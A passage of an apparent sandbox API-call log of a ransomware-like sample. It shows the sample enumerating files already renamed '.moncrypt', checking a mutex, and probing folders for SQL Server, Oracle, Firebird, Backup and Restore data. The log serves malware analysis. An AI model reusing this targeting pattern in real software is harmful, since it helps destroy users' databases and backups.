GlobalUnlock (hMem=0x440004) returned 0 [0048.865] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.865] GlobalUnlock (hMem=0x44000c) returned 0 [0048.865] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.866] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML.moncrypt", cAlternateFileName="PUBLIS~1.MON")) returned 1 [0048.866] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.866] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.866] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.866] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.866] GlobalUnlock (hMem=0x44000c) returned 0 [0048.866] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.866] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.866] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.866] GlobalUnlock (hMem=0x44000c) returned 0 [0048.866] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.866] GlobalUnlock (hMem=0x440004) returned 0 [0048.866] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.866] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.866] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.866] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.866] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.866] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.866] GlobalUnlock (hMem=0x440004) returned 0 [0048.866] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.866] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.866] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.866] GlobalUnlock (hMem=0x440004) returned 0 [0048.866] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.866] GlobalUnlock (hMem=0x44000c) returned 0 [0048.866] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.866] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.866] GetLastError () returned 0x12 [0048.866] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.867] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0048.867] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.867] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.867] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.867] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.867] GlobalUnlock (hMem=0x44000c) returned 0 [0048.867] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.867] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.867] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.867] GlobalUnlock (hMem=0x44000c) returned 0 [0048.867] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.867] GlobalUnlock (hMem=0x440004) returned 0 [0048.867] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.867] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0048.867] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.867] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.867] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.867] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.867] GlobalUnlock (hMem=0x440004) returned 0 [0048.867] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.868] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.868] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.868] GlobalUnlock (hMem=0x440004) returned 0 [0048.868] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.868] GlobalUnlock (hMem=0x44000c) returned 0 [0048.868] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.868] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.868] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.868] GlobalUnlock (hMem=0x44000c) returned 0 [0048.868] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.868] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.868] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.868] GlobalUnlock (hMem=0x44000c) returned 0 [0048.868] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.868] GlobalUnlock (hMem=0x440004) returned 0 [0048.868] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.868] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us", len=0x5b | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us") returned 1 [0048.868] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.868] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.868] GlobalUnlock (hMem=0x440004) returned 0 [0048.868] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.868] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.868] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.868] GlobalUnlock (hMem=0x440004) returned 0 [0048.868] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.868] GlobalUnlock (hMem=0x44000c) returned 0 [0048.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@塀U堔U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0048.870] GetLastError () returned 0x3 [0048.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18㿬Q\x181")) returned 0xffffffff [0048.871] GetLastError () returned 0x2 [0048.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@∜R企@\x18?T\x18;")) returned 0xffffffff [0048.871] GetLastError () returned 0x2 [0048.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18D")) returned 0xffffffff [0048.872] GetLastError () returned 0x2 [0048.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18∜R\x18j")) returned 0xffffffff [0048.872] GetLastError () returned 0x2 [0048.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@⨴R企@\x18?T\x18q")) returned 0xffffffff [0048.873] GetLastError () returned 0x2 [0048.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\∘RĀ") returned 6 [0048.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@奬U企@\x18?T\x18y")) returned 0xffffffff [0048.876] GetLastError () returned 0x2 [0048.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18?T\x18\x81")) returned 0xffffffff [0048.876] GetLastError () returned 0x2 [0048.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18\x88")) returned 0xffffffff [0048.877] GetLastError () returned 0x2 [0048.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@奬U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.878] GetLastError () returned 0x2 [0048.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69bf8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18?T\x18\x97")) returned 0xffffffff [0048.878] GetLastError () returned 0x2 [0048.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.878] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.878] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.878] GlobalUnlock (hMem=0x44000c) returned 0 [0048.879] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.879] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.879] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.879] GlobalUnlock (hMem=0x44000c) returned 0 [0048.879] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.879] GlobalUnlock (hMem=0x440004) returned 0 [0048.879] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.879] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.879] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.879] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.879] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.879] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, 